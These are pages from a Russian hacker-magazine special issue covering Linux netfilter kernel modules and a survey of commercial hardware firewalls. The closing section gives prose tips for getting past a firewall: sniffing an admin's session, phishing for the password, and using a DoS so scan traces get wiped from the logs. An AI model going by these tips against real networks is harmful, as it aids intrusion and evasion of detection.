Загляни туда и увидишь огромную кучу файлов. Каждый из этих модулей отвечает за какую-нибудь дополнительную функцию пакетного фильтра. Если делать универсальную и гибкую систему, то тебе придется все оформить в виде модулей. Их получится немало. В моей системе их 71 штука. Если их перечислять все, то я просто застрелюсь. Посмотрев на список внимательно и сбросив первое офигевание от количества файлов, ты увидишь, что модули можно поделить на несколько групп с общими признаками в названии.

Группа ip_conntrack*.o. Модули этой группы используются для трассировки соединений (даже не спрашивай меня, что это такое, все равно не скажу), а также применяются для трансляции адресов. В этой группе присутствуют модули для разных протоколов (ftp, irc, netlink, pptp, udp, tcp).

Группа ip_nat*.o используется для трансляции адресов (Network Address Tranlation, NAT). Несколько модулей для различных протоколов.

Группа ipt*.o служит для управления и эксплуатации пакетным фильтром iptables. Это добавление правила, установка маркировок, установка владельца пакета, действия с пакетом и многое другое. Наличие этой группы зависит от установленных параметров ядра CONFIG_IP_NF_*. Подробное описание этих параметров есть в Iptables-tutorial.

Назад на стр. 024-038-2  Содержание  Вперед на стр. 024-038-4


 

Хакер №024. Спецвыпуск


ЯДЕРНЫЕ РЕАКЦИИ-настройки кернела для файерволлинга

ViTLS (vitls@beshtau.ru)

Спецвыпуск Xakep, номер #024, стр. 024-038-4

Модуль ip_tables отвечает за пакетный фильтр, модули ipchains и ipfwadm отвечают за режим эмуляции пакетных фильтров ядер веток 2.2.х и 2.0.х. Модули iptable_filter, iptable_mangle, iptable_nat являются реализацией таблиц фильтрации пакетов (filter), редактирования пакетов (mangle) и трансляции адресов (nat).

Несмотря на такое множество модулей, система не настолько тупа, чтобы заставлять тебя, неразумного, все это загружать вручную. Хочу тебя обрадовать - большинство из этих модулей загружается автоматически при обработке заданных тобой правил.

Собранный модуль включается из командной строки: insmod имя_модуля. Естественно, ты должен предварительно находиться в этом каталоге. Другой способ - команда modprobe имя_модуля. Она поумнее и загрузит этот модуль и модули, зависящие от данного.

Посмотреть наличие модуля в памяти можно командой lsmod. А удалить модуль можно командой rmmod имя_модуля.

Вот, например, как это выглядит:

[root@localhost root]# lsmod | grep ip_tables

[root@localhost root]# modprobe ip_tables

[root@localhost root]# lsmod | grep ip_tables

ip_tables 10880 0 (unused)

[root@localhost root]# rmmod ip_tables

[root@localhost root]# lsmod | grep ip_tables

[root@localhost root]#

Первая строка - команда lsmod с фильтром grep ip_tables - показывает, что такого модуля у нас нет. Второй запуск, после выполнения modprobe, нам показывает, что модуль сидит в памяти и никем не используется. После удаления модуля командой rmmod мы опять видим чистоту и порядок.

РАБОТА НАД СОБОЙ

А вот тебе материал для самостоятельной работы:

1. Kernel-HOWTO

2. Linux 2.4 Packet-filtering-HOWTO

3. Ipchains-HOWTO

(http://www.linux.org.ru:8100/books/HOWTO/index.html)

4. Iptables-HOWTO

(http://www.linuxguruz.org/iptables/howto/iptables-HOWTO.html)

5. Firewall-HOWTO

(http://linuxdocs.org/HOWTOs/Firewall-HOWTO.html)

6.Netfilter-hacking-HOWTO

(http://www.netfilter.org/documentation/HOWTO/netfilter-hacking-HOWTO.html)

7. Iptables-tutorial

(http://gazette.linux.ru.net/rus/articles/iptables-tutorial.html)

Ну, вот ты и в курсе, что сидит внутри ядра Linux и как с этим бороться. Успехов и хорошего хака.

Назад на стр. 024-038-3  Содержание


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-1

Pingvinov (mailto:$echo cvativabi@znvy.eh|rot13)

Привет, старик! Как настроение? Хорошее, говоришь... Это правильно, старик, завари себе зеленого чаю, сядь в лотос и на сегодня никакого пива. Будем медитировать на железную стенку. Гоню, говоришь? Ну, это ты после вчерашнего, а я про железный файрволл. Наверное, ты уже почитал другие статьи в этом номере и понял, что файрволл - просто очень удобное и красивое слово, а не устройство и не приложение. Клиенту говорят "брандмауэр" и потом сразу объясняют, что есть в строительстве такая конструкция, чтобы не дать огню распространяться по зданию :). Ну, ты меня понял ;). Это все от того, что тема про сетевую безопасность сейчас очень модная, и про хак пишут статьи все, кому не лень. А написав очередной рассказ про страшных хацкеров, говорят, что защита от них, конечно, есть - надо купить надежный файрволл. Ну а что под этим словом подразумевается, пишущий статью скорее всего сам не знает, но слово красивое, идея прямая и прозрачная, а потому желающих "купить файрволл" нынче хватает.

ПРО МАРКЕТИНГ

Маркетинг постарался, и большинство покупателей и вправду представляют себе файрволл в виде такой умной коробочки, которая от всего защищает. А гиганты сетевой промышленности - они же добрые, они не могут обмануть надежды населения и такие коробочки выпускают и продают. И называют их файрволлы. Есть и маленькие, не очень заметные подробности. Дело в том, что каждый гигант имеет свое собственное мнение про то, из каких деталей и какого софта должна состоять такая коробочка, поэтому изучение существующих "стенок" очень похоже на науку зоологию, где сначала надо запомнить всех тварей, больших и малых, а потом уже говорить "птица, это такая с крыльями" (и тут тебе, старик, показывают летучую мышь, чтобы не задавался) :).

Ну да, а у знакомого админа на большой богатой фирме можно увидеть в раке коробочку, синюю, красную или желтую, и услышать от него: "А вот файрволл стоит". Не, не он раком, а у него в раке :). Шкаф такой, понял, да? И в нем коробочка красная, высотой два-у. На передней панели индикатор такой красивый, циферки всякие, лампочки.

Ты, конечно, уже догадываешься, что внутри коробочки находится сильно (или не очень сильно) переделанный комп. То есть стоит мать, на матери - камень и мозги, в слоты воткнуто несколько сетевух, операционка и все настройки вместо харда пишутся во флешку, то есть доступ на запись в настройки сильно затруднен и крутящихся деталей минимум - одни вентиляторы. Есть, конечно, исключения, но их мало, в основном так оно и устроено.

Зоологический подход говорит нам, что стоит для начала разобраться с несколькими популярными моделями и попробовать понять, что можно ожидать от такой коробочки. Но начнем мы не с железки, как можно было бы думать, а с коммерческой программы.

CHECKPOINT SOFTWARE

(http://www.checkpoint.com)

Почему софт, а не железка, старик? А дело в том, что это почти что стандарт коммерческого софта для файрволла. Как Апач для веба, как Фотошоп для дизигна. И именно этот софт установлен во многих аппаратных файрволлах, выпускаемых крупными фирмами. А в тех, где установлен другой софт, очень многие идеи слизаны отсюда. Теперь понятно? Дистрибутивы есть для большинства популярных *nix платформ, ну и для Матушки Виндоус, само собой.

Содержание  Вперед на стр. 024-042-2


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-2

Checkpoint не пытается продавать одно приложение на все случаи жизни, а честно предлагает собрать систему из нескольких компонентов. Набор богатый, в том числе там есть межсетевой экран, сервер VPN, антифлудер, клиент для управления всеми компонентами. Всего в списке их почти тридцать, но это для того, чтобы прилавок был полным, основных, разумеется, меньше. Давай посмотрим, что это чудо природы умеет.

Первая и главная компонента это межсетевой экран Firewall-1, фильтрующий трафик между сетевыми интерфейсами. Правила фильтрации настраивает админ с помощью удобной и красивой клиентской части прямо со своего рабочего места.

Для того чтобы скрыть адреса внутренней сети от внешнего мира, применяется трансляция сетевых адресов (NAT). Пакет, прошедший через файрволл с включенной NAT, будет подписан не внутренним адресом машины, отправившей пакет, а тем адресом, который напишет туда файрволл (если настройка толковая, то в пакете остается только адрес самого файрволла). То есть ты бы и рад нюкнуть какую-нибудь машину за файрволлом, но не знаешь их адресов, увы. Настраивается NAT на том же клиенте.

Но настоящего хацкера этим не напугать, разумеется, мы все равно будем тыкаться во все известные дыры. Против этого фирма Checkpoint предлагает подробные и очень удобные для просмотра логи активности на любом интерфейсе. IP-адрес твоего любимого Интернет-кафе будет виден сразу. Очень грамотно и толково сделаны сортировка и выборочная чистка логов, при желании можно вычистить из них DDoS атаку и посмотреть, что там происходило до того. Но это надо еще догадаться, что надо вычистить :).

Да, при написании софта Checkpoint позаботилась и о тех несчастных, которые бродят вдали от фирмы со своими ноутбуками. Для них есть модуль VPN-1, серверная часть которого ставится на один из серверов фирмы, а клиентская часть - на ноутбук. При соединении клиентская часть находит свой сервер, они сливаются и в едином порыве создают шифрованный туннель, про который ты уже, наверное, читал в этом номере.

В этом комплекте мне не удалось обнаружить прокси-сервера; видимо, с точки зрения Checkpoint, это не входит в понятие файрволла.

Все настройки по максимуму сделаны графическими и интуитивными, во многих меню предлагаются типовые (и довольно грамотные) конфигурации. Одним словом, хороший продукт, через правильную настройку прорываться будет очень сложно.

Но Checkpoint не делает железок. Он только продает свой софт тем, кто хочет поставить его на железки. И выпускает рекомендации, как готовить операционку для аппаратного файрволла.

УКРЕПЛЕНИЕ ОСЕЙ

Уже ближе к железу, старик. Как ты понимаешь, ставить что-либо на стандартного Пингвина из коробки и сразу вывешивать машину в Интернет - это смелость, граничащая с безумием. Поэтому сначала систему готовят к установке, а подготовленную называют "система с укрепленной ОС", что, видимо, должно успокоить клиента и отбить охоту у морально слабых. Все советы по укреплению ОС для будущего файрволла довольно просты и разумны и вполне подходят и для простых смертных. Жаль только, пользуются ими редко.

Назад на стр. 024-042-1  Содержание  Вперед на стр. 024-042-3


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-3

Очень приблизительно последовательность укрепления системы выглядит так: вначале, при установке, убирают все ненужные службы и прибамбасы. В Линуксе это делается через тип установки "Custom", при этом из будущего файрволла удаляется всякая лабуда типа графики, звука, сервера новостей. Затем отключают все ненужные сервисы. Общее правило такое - чем меньше сервисов, тем спокойнее жизнь. Затем настраивают логи и удаляют ненужных юзеров, которых система заводит при установке по умолчанию. После этого на систему ставят все свежие патчи (для RedHat можно глянуть на страницу http://www.redhat.com/apps/support/errata/) и работают. Наверное, имеет смысл оставить все доки - опасности ноль и всегда под рукой :).

И вот уже на такую систему ставят софт файрволла. Кстати, чтобы ты чего не подумал, на работающем файрволле доступ во флешку, где записана операционка, защищен. И не паролем, а переключателем, админ переключает его в положение "можно" только перед установкой свежего патча от фирмы.

Ну, хватит про софт, наверное, давай теперь про железо.

КИСКА

(http://www.cisco.com)

Начнем с самых модных и стильных, то есть с темно-синих коробочек Cisco. Фирма идет навстречу пожеланиям широких масс админов и хакеров и постоянно расширяет линейку выпускаемых устройств. Недавно файрволлы были поделены на два семейства: PIX Firewall и IOS Firewall, при этом PIX позиционируется как мощный и промышленный, для сильно загруженных узлов, а IOS - как менее мощный, но универсальный, для небольших фирм. Маркетинг называется, типа.

Оба семейства умеют фильтровать пакеты в режиме межсетевого экрана, маскируют внутренние адреса через NAT, поддерживают виртуальные частные сети и управляются через специальный административный софт, который ставится на рабочем месте админа. Семейство IOS, кроме того, умеет фильтровать веб-трафик по именам сайтов, то есть админ сможет выборочно позакрывать твои любимые сайты с веселыми картинками, оставив директору его собачек и лошадок. PIX же ставит рекорды производительности при поддержке шифрованных туннелей.

Что там внутри за ось, для меня осталось загадкой. Сама Cisco говорит, что файрволлы работают на специальной "ОС PIX собственной разработки фирмы Cisco", но, по непроверенным слухам, это сильно переделанный и укрепленный SCO UNIX.

ПОЖАРНАЯ МАШИНА

(http://www.watchguard.com)

Файрволлы от Watchguard выпускаются тревожного ярко-красного цвета. Они производят очень сильное впечатление в стойке среди черных, синих и серых устройств от других, менее изобретательных фирм. Глядя на такую стойку, задать вопрос: "А есть ли у вас аппаратный файрволл?" - может только дальтоник.

Как и Cisco, фирма Watchguard выпускает два семейства файрволлов: Firebox и Firebox Vclass. Наборы функций слегка различаются, у Vclass явственно обозначен уклон в большую производительность и управление трафиком, в то время как Firebox, наверное, можно с большим основанием назвать настоящим файрволлом, если судить по тому количеству функций, которым его умудрились нагрузить. Работает простой Firebox помедленнее (хотя я бы не назвал пропускную способность в 200 мегабит в секунду очень медленной), но содержит море разных функций, гораздо больше, чем Киска.

Назад на стр. 024-042-2  Содержание  Вперед на стр. 024-042-4


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-4

Основные функции файрволла, впрочем, присутствуют в обеих линейках: пакетный фильтр в виде межсетевого экрана с набором правил, маскировка внутренней сети через NAT, поддержка VPN и административная консоль. Как и у Cisco и Checkpoint, административная консоль очень красивая и позволяет очень наглядно управлять и представлять себе всю структуру сети фирмы. Vclass может ограничивать уровень трафика на определенные адреса, что полезно для предотвращения флуда. Простая "пожарная машина" может также работать как прокси для нескольких видов трафика, фильтровать веб-трафик, раздавать динамические IP по DHCP и еще, и еще. Богатая система, в общем. Подкачала, пожалуй, система логов, в ней довольно скромные возможности для сортировки и выборочной чистки. Это, кстати, может нам очень пригодиться, о чем ниже. Очень красив самописец, регистрирующий активность на интерфейсах, так все смотрел бы и смотрел бы.

Внутри корпуса стоят системная плата с камнем от AMD и укрепленный Пингвин имени Красной шапочки. Вместо харда, как нетрудно догадаться, флешка.

ЖЕЛЕЗНЫЙ НОРТОН

(http://www.symantec.com)

Кстати, знаешь ли ты, что любимая фирма Symantec делает не только софт, но и железо? Ага, и свои изделия украшает панелями дешевого желтого цвета, надоевшего всем еще в Norton Antivirus и pcAnywhere.

Эти файрволы когда-то делала фирма Axcent technologies, но Symantec ее купил и теперь, похоже, не очень понимает, зачем он это сделал. Во всяком случае, смельчаки, попробовавшие выступить в роли клиентов и получить от Symantec помощь в установке и настройке прибора, писали о переговорах с фирмой с недоумением и затаенной обидой. Видимо, поддержка железяк там вроде нелюбимого дитяти. Но стоят железки дорого, даже очень.

Есть два семейства файрволлов от Symantec (похоже, это такой упрощенный маркетинг для людей, привыкших к двоичной системе счисления), одни попроще, другие посложней. Семейство Firewall/VPN попроще, семейство VelociRaptor посложнее. Функции файрволла умеренно полные, есть пакетный фильтр, по умолчанию включена сетевая адресная трансляция (NAT), есть поддержка виртуальных частных сетей, сервер DHCP, логи внешней активности. Ну и софт для администрирования с разными оттенками знакомого желтого цвета.

NOKIA: МЕЛОДИЯ ДЛЯ СЕРВЕРА

Мда, я тебе специально ищу фирмы, про которые трудно подумать, что они выпускают сетевое оборудование. Про Nokia ты, наверное, знаешь, что они делают хорошие мобилы. Авторезина тоже очень приличная когда-то была, и телевизоры. Теперь еще и файрволл. Наверное, не за горами презервативы.

Назад на стр. 024-042-3  Содержание  Вперед на стр. 024-042-5


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-5

Это изделие работает на софте Checkpoint Software. Похоже, горячие финские парни хорошо поработали над установкой, отзывы о машине сплошь положительные, причем особо хвалят ее за гибкость при настройке на нестандартные конфигурации, за быстродействие и за надежность. В качестве платформы для своего файрволла Nokia взяла типовой сервер и основательно поработала над его начинкой, операционкой и установленным софтом.

WEBSCREEN: DDOS > NULL

А вот это очень специализированное устройство. Ничего лишнего в нем нет, ни виртуальных сетей, ни прокси, ни даже любимого пакетного фильтра. Webscreen 100 предназначен только для отражения DDoS-атак и применяется в основном для защиты веб-серверов и других критических точек внешнего периметра, которые можно завалить такой атакой.

Интересно, что сама фирма советует ставить свой экран на переднюю линию, перед всеми прочими системами защиты, в том числе и перед файрволлом. Принцип работы тоже довольно необычен: рабочие интерфейсы устройства не имеют своих собственных адресов, то есть с точки зрения прочих устройств Webscreen там просто отсутствует. Он и отсутствует - до тех пор, пока не распознает какую-нибудь атаку. Тогда он включается и начинает задерживать все подозрительные пакеты, отмечая это в логе. Третий интерфейс предназначен для управления, и ему может быть присвоен адрес, и через него можно работать с операционной системой. Внутри стоит укрепленная версия RedHat Linux. Коробка корректно определяет и задерживает атаки Lan.d и Syn-флуды.

Теперь про смешное: для настройки IP-адреса административного интерфейса надо отредактировать конфигурационный файл, записать этот файл на дискету и вставить дискету в дисковод файрволла (да, у него есть дисковод!), чтобы он прочитал новую конфигурацию при перезагрузке. Только после такой процедуры удается соединиться с файрволлом по сети. Впрочем, можно просто воткнуть в коробку клавиши и монитор и задать адрес руками. Еще про смешное: файрволл никак не сигнализирует админу про то, что началась и происходит атака. То есть логи ведутся и очень подробно, но они копятся внутри коробочки. Машинки от других фирм, кстати, умеют звонить по телефону, отправлять SMS и вообще всячески портить админу заслуженные выходные.

ПОЧЕМ ЗВОНИТ КОЛОКОЛ

И не спрашивай, старик, все это железо очень дорогое. Производство этих коробок стало большим бизнесом, ведь продают не какую-то мелочь, а Безопасность Вашей Информации, а на сколько можно развести человека, приговаривая "это решит все ваши проблемы", ты можешь себе представить. То железо, о котором я писал, стоит от нескольких тонн грина и выше. Рекорды ставят Киска и горячие финские парни: самая продвинутая Киска может стоить около семидесяти, а финики просят за свою машину полтинник.

Впрочем, такая цена может сильно расслабить админа, а вероятность ошибки в настройке дорогого ящика не меньше, а на мой взгляд, даже больше, чем обычного пня с парой сетевух и одним из бесплатных файрволлов на Пингвине.

ГДЕ ТОНКО, ТАМ И...

Как ты понимаешь, шансы получить в свои хацкерские руки управление файрволлом не очень высоки. Как правило, для этого потребуются фирменный софт для управления файрволлом и админ, который сообщит тебе административный пароль к своему ненаглядному. Если ты сидишь во внутренней сети (ну интересно тебе, как устроена сетка на родной фирме), можно еще попытаться перехватить сеанс работы админа с файрволлом с помощью сниффера. Чтобы это получилось, однако, нужен на редкость тупой админ, который создаст тебе условия для такого перехвата: включит тебя в один хаб с собой или файрволлом, будет пользоваться простым телнетом. Можешь попробовать применить социальную инженерию, например, написать админу что-нибудь типа: "Привет, Вася, это я, вторая шизоидная компонента твоей личности. Если ты помнишь, сегодня я просыпаюсь и работаю с шести вечера до полуночи. Приклей к монитору листок с мастер-паролем от Киски, пжалста, я его забыл".

Назад на стр. 024-042-4  Содержание  Вперед на стр. 024-042-6


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-6

Да, кстати, если ты снаружи, в Интернете, то про перехват управления файрволлом можешь просто забыть, толково подключенный файрволл не пустит тебя с внешнего интерфейса даже с правильным паролем.

Будет гораздо плодотворнее, на мой взгляд, если ты попытаешься поискать ошибки настроек. Ты же понимаешь, что главная дыра в защите находится между креслом и административной консолью. Советов на все случаи жизни не существует, да я и не знаю, зачем нужно пролезать через файрволл :). Поэтому просто попробуем посмотреть, какие типичные ошибки может допустить админ и что из них следует.

Порядок применения правил - очень коварная штука, потому что админ может сам открыть огромную дыру и не заметить ее. Дело в том, что почти все файрволлы примеряют к пакету правила по очереди, в том порядке, в котором они записаны, и выполняют первое подошедшее правило. То есть если правило номер 11 разрешает машине 192.168.11.10 все виды обмена, а правило номер 14 запрещает всем смотреть WWW, то счастливый юзер на машине 192.168.11.10 сможет лазить по вебу без ограничений. Как ты понимаешь, возможны и менее мирные варианты.

Флуд логов: увы, во всех этих коробочках регистрация нашей с тобой деятельности устроена очень грамотно. В смысле - все как на ладони, видны адреса и удобно для просмотра, и совсем неудобно для высокохудожественной деятельности, которой мы с тобой занимаемся. То есть если просто сканировать открытые порты, то вся эта деятельность будет хорошо видна и, соответственно, наказуема. Почистить логи самому, как уже говорилось, почти нереально, но можно посканировать, выяснить все, что нужно, и затем устроить DoS-атаку. Завалить файрволл ты, скорее всего, так не завалишь, он как раз на такие штучки и рассчитан, но админ, придя с утра, скорее всего, порадуется на свою систему и... правильно, прибьет все логи вместе со следами твоих сканов :).

Обходим NAT: ты смотришь на файрволл снаружи и видишь только пакеты, подписанные файрволлом? Ты хочешь знать внутренние адреса полюбившейся тебе сети? Напиши веб-мастеру письмо про орфографическую ошибку на сайте и внимательно изучи заголовок ответа. Если повезет, ты увидишь там внутренний адрес.

Назад на стр. 024-042-5  Содержание  Вперед на стр. 024-042-7


 

Хакер №024. Спецвыпуск


ЗА ЖЕЛЕЗНЫМ ЗАНАВЕСОМ

аппаратные файрволлы

Спецвыпуск Xakep, номер #024, стр. 024-042-7

Конечно, железный файрволл это достойная преграда, но вовсе не безнадежная и вполне преодолимая при соответствующей подготовке. А если проще, то, как говорил старшина, "учи матчасть, боец". Салют :)!

Назад на стр. 024-042-6  Содержание